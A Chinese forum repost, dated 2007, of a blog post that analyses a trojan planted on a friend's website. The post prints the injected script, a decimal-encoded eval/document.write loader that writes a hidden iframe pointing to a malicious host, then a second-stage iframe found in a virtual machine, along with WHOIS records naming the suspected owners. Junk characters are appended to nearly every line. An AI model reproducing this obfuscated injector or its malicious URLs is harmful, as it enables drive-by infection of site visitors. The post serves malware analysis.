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[原创]一篇刚写的分析木马手记

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首发在我的博客里面,  JuI,wA  
jH G(d$h  
http://www.areway.cn/?p=175 @<sP1`1  
RGKJO_*J2  
+[7u>RJ  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: K^vMIoh  
          z'I0UB#  
<script>t=’60,105,102,114,97,109,101, NV;tsuA|  
32,115,114,99,61,104,116,116,112,58,47,47, \^:f4ZT  
102,114,101,101,46,117,45,117,117,117,46,99, Te13Af~  
110,47,101,114,114,111,114,46,104,116,109, gy[uq m_ T  
32,119,105,100,116,104,61,49,48,48,32,104, \ a<Ye T  
101,105,103,104,116,61,48,62,60,47,105,102, 1wM p3  
114,97,109,101,62′; 1|89-Ii]  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> abv]  
                                                                                                  G j:|  
<script>t=’60,105,102,114,97,109,101,32,115, u@3w$"Pv1  
114,99,61,104,116,116,112,58,47,47,102,114, ZtT`_G&  
101,101,46,117,45,117,117,117,46,99,110,47, pL-$Np] V  
101,114,114,111,114,46,104,116,109,32,119, ={oO9.9  
105,100,116,104,61,49,48,48,32,104,101,105, X[[=YCi0  
103,104,116,61,48,62,60,47,105,102,114,97, m1hf[cg  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); *\>2DUu\`  
document.write(t);</script> , $=V  
                                                                                                  g<-cHF  
<html xmlns=” }A;Xd/,'r  
http://www.w3.org/1999/xhtml 33 4*nQ  
“> wDG4rN9x  
<head> KKzvoc?Bt  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 'huLv(Uu  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> RPWYm  
<title>首页 - 爱生活家庭网 ro{MD s  
                                                                                                                                                    b +_E)4  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 }1P  
转换字符串后的大概内容是(谁点击后果自付): yC5|"+ A$  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 4c yv 8  
                                                                                                                                  *%e#)sn*  
查询玉米u-uuu.cn的详细信息: -d~'tti  
Domain Name: u-uuu.cn 5*r6#[S\  
ROID: 20070901s10001s64972306-cn ~eP 2PG  
Domain Status: ok ;D7jE+  
Registrant Organization: 王雷 A!~o?ej  
Registrant Name: 王雷 %Z? o]  
Administrative Email: czlovexs@126.com G Xl?Zg  
Sponsoring Registrar: 北京万网志成科技有限公司 A0ToX) |C  
Name Server:ns.yovole.com !ZZAI_N  
Name Server:ns1.yovole.com SOL=3hfb^  
Registration Date: 2007-09-01 17:54 >vU Hf`4T  
Expiration Date: 2008-09-01 17:54 bW]+Og  
最后PING了一下地址 都没有什么…. +*q@=P,  
                                                                                                ^b~5zhY&  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. JNz0!wi  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>  df'g},_  
<script language=”javascript” src=” L9@jmh*E  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script UK,P?_e  
> K/-D 5U  
这个玉米应该有可能是木马作者的: As`^Ku&  
foafau.info的详细信息: O#\> j  
Access to INFO WHOIS information is provided to assist persons in =.c"&,c?L  
determining the contents of a domain name registration record in the ~e<<aTwN  
Afilias registry database. The data in this record is provided by v2'J L(=  
Afilias Limited for informational purposes only, and Afilias does not &?nF' ;&  
guarantee its accuracy.  This service is intended only for query-based 1^3#3duV  
access. You agree that you will use this data only for lawful purposes S8VR#  
and that, under no circumstances will you use this data to: (a) allow, i.]zq  
enable, or otherwise support the transmission by e-mail, telephone, or 'Ot[q^,KRG  
facsimile of mass unsolicited, commercial advertising or solicitations l?o- p  
to entities other than the data recipient’s own existing customers; or 4o3GS8  
(b) enable high volume, automated, electronic processes that send `N|CL  
queries or data to the systems of Registry Operator, a Registrar, or `^kST><  
Afilias except as reasonably necessary to register domain names or ?r<F\rBT7*  
modify existing registrations. All rights reserved. Afilias reserves %"zJsYQ!  
the right to modify these terms at any time. By submitting this query, Biwdb  
you agree to abide by this policy. $5r,Q{;$  
Domain ID:D22418703-LRMS O@rb4(  
Domain Name:FOAFAU.INFO pg)g&ifKl  
Created On:20-Nov-2007 16:05:42 UTC !*gAGt_  
Last Updated On:20-Nov-2007 16:05:44 UTC >``GDjcJ  
Expiration Date:20-Nov-2008 16:05:42 UTC ,GIqRT4K  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) YP,PJnJU8  
Status:CLIENT DELETE PROHIBITED t^5_;sJQ  
Status:CLIENT RENEW PROHIBITED p/~kw:I  
Status:CLIENT TRANSFER PROHIBITED N3<Jh  
Status:CLIENT UPDATE PROHIBITED E6k&r}  
Status:TRANSFER PROHIBITED YC<I|&"  
Registrant ID:GODA-040110615 K7c8_g*>4=  
Registrant Name:liu hong _O%p{t'q<  
Registrant Organization: DG=Ap:sl*$  
Registrant Street1:beijing h :R)KM  
Registrant Street2: 0)!zhO_}  
Registrant Street3: ,be?GAq  
Registrant City:beijing m5N&7qgp  
Registrant State/Province: wlM ?gQXU[  
Registrant Postal Code:100000 w ZAXfNA  
Registrant Country:CN $4L3y uH  
Registrant Phone:+86.860108888777 {6sfa?1j  
Registrant Phone Ext.: Fr3t [:D  
Registrant FAX: (K6S tNtN  
Registrant FAX Ext.: Rn_c9p  
Registrant Email:bbbshiji@163.com 9lCKz !E  
Admin ID:GODA-240110615 >>zoG3H!  
Admin Name:liu hong RzQS@^u*F0  
Admin Organization: QOk"UP  
Admin Street1:beijing >iN%Uz  
Admin Street2: 0)V-|v`  
Admin Street3: {2^ @jD  
Admin City:beijing 9AzGk=^  
Admin State/Province: ,r;d{  
Admin Postal Code:100000 ]H~,K]@.  
Admin Country:CN /H@")je  
Admin Phone:+86.860108888777 v!A|n3B]p  
Admin Phone Ext.: wt S*w  
Admin FAX: ,&] ` b#Rc  
Admin FAX Ext.: V JL;+  
Admin Email:bbbshiji@163.com W2h[NimU  
Billing ID:GODA-340110615 l$_rA~Mo  
Billing Name:liu hong yW?%c#9D  
Billing Organization: bU`yymf{L  
Billing Street1:beijing |9]K:A  
Billing Street2: Tpx,41(k  
Billing Street3: [)>8z8'f  
Billing City:beijing mp3_n:R?  
Billing State/Province: [_b='/8  
Billing Postal Code:100000 }Xv1KX'  
Billing Country:CN 1iL xXd  
Billing Phone:+86.860108888777 }F6b ]  
Billing Phone Ext.: G | oG:  
Billing FAX: )%w8>1 }c  
Billing FAX Ext.: DW&')gfQ  
Billing Email:bbbshiji@163.com $i~`vu*  
Tech ID:GODA-140110615 q.Z#7~6`3  
Tech Name:liu hong v=1S  
Tech Organization: i!x5T%x_  
Tech Street1:beijing .oN Sg.jG  
Tech Street2: bCUh^#]x  
Tech Street3: os^SD&hL  
Tech City:beijing M|e n>P  
Tech State/Province: (Gc`3jJ  
Tech Postal Code:100000 =3dbw8I  
Tech Country:CN <|Eby!KXR  
Tech Phone:+86.860108888777 |S`yXsg  
Tech Phone Ext.: 'xoE [0!  
Tech FAX: @k6}4O?{  
Tech FAX Ext.: ?9@Af{b t2  
Tech Email:bbbshiji@163.com I} fcFL8  
Name Server:NS27.DOMAINCONTROL.COM {<[tYZmj.  
Name Server:NS28.DOMAINCONTROL.COM %&+R":Bw  
Name Server: .0W4Dp  
Name Server: L$c%u  
Name Server: f?^Oy!1]  
Name Server: 9~%]|_(  
Name Server: PFgjWp"Y  
Name Server: l'". }6S  
Name Server: 42wC."A  
Name Server: lv_%  
Name Server: qZ_fQ@   
Name Server: ` +BaDns  
Name Server: [3sxzU!t~  
                                                                                                          T xxB0  
接着下载每个文件里面的代码: nk$V{(FJ  
一步一步看.. o+Ti$`2<O7  
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bTy)0ta>AF  
<;0N@  
A6y~_dt  
Hs -.83V  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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